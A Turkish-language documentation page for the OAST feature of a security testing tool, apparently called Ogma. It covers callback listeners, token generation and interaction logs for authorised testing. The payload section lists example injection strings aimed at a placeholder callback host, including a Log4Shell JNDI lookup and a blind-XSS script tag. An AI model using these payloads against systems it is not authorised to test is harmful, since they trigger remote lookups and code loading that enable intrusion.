---
url: https://docs.ogmabox.com/tr/app/utilities/oast.md
description: >-
  Ogma'da bant dışı uygulama güvenliği testleri için geri çağrıları
  yapılandırın.
---

# OAST {#oast}

OAST (Out-of-Band Application Security Testing), görünür yanıt üretmeyen güvenlik açıklarını tespit eder; hedef bunun yerine kontrol ettiğiniz dinleyiciye dış bağlantı kurarak sorunu doğrular.

## Nasıl çalışır? {#how-it-works}

Ogma birden fazla protokolde yerel dinleyiciler çalıştırır. Hedef uygulama dinleyicilerden biriyle iletişim kurduğunda etkileşim; kaynak IP, zaman damgası, alınan veri ve enjekte edilen belirteçle kaydedilir.

### Dinleyici protokolleri {#listener-protocols}

| Protokol | Varsayılan port | Kullanım alanı |
|---|---|---|
| HTTP | Yapılandırılabilir | SSRF, kör XSS, webhook'lar |
| HTTPS | Yapılandırılabilir | TLS üzerinden SSRF |
| DNS | Yapılandırılabilir | Kör enjeksiyon, XXE, log4shell |
| SMTP | Yapılandırılabilir | E-posta başlık enjeksiyonu, posta hizmetlerine SSRF |

Dinleyici portlarını ve üretilen belirteçlerde kullanılan alan adını OAST ayar panelinde yapılandırın.

## Geri çağrı belirteci üretme {#generating-a-callback-token}

1. **Yardımcı araçlar > OAST** bölümünü açın.
2. **Yeni belirteç** düğmesine tıklayın. Her belirteç teste özeldir.
3. Belirteci kopyalayın. Etkileşimlerin ilgili testle eşleştirilebilmesi için dinleyici alan adınızı ve benzersiz tanımlayıcıyı içerir.

Örnek belirteç biçimi: `[unique-id].[your-oast-domain]`

## Veri yüklerinde belirteç kullanma {#using-tokens-in-payloads}

Geri çağrı belirtecini uygulamanın dış bağlantı kurabileceği herhangi bir alana enjekte edin:

* **SSRF** — HTTP/HTTPS belirtecini hedef URL olarak kullanın: `https://[token]/`
* **XXE** — DOCTYPE veya harici varlık URL'sinde belirtece başvurun.
* **Log4Shell** — başlığa yerleştirin: `${jndi:ldap://[token]/a}`
* **Kör XSS** — script src olarak enjekte edin: `<script src="https://[token]/x.js"></script>`
* **SMTP enjeksiyonu** — e-posta başlıklarında hedef adres veya URL olarak kullanın.

## Etkileşim günlüğü {#interactions-log}

Etkileşim paneli alınan tüm geri çağrıları gösterir:

| Sütun | Açıklama |
|---|---|
| Süre | Etkileşimin alındığı zaman |
| Protokol | HTTP, HTTPS, DNS veya SMTP |
| Kaynak IP | Bağlantıyı kuran IP adresi |
| Belirteç | İletişim kurulan belirteç |
| Veriler | İstek yolu, DNS sorgu adı veya SMTP verisi |

Uygun durumlarda istek başlıkları ve gövde dahil tam etkileşim ayrıntılarını görmek için herhangi bir satıra tıklayın.

## Etkileşimleri testlerle eşleştirme {#matching-interactions-to-tests}

Her belirteç benzersiz olduğundan farklı parametrelere veya isteklere farklı belirteçler enjekte edip geri çağrıyı tam olarak hangi enjeksiyon noktasının tetiklediğini belirleyebilirsiniz.

## İlgili sayfalar {#related-pages}

* [Tarayıcı](./scanner.md)
* [Bulgular](../findings.md)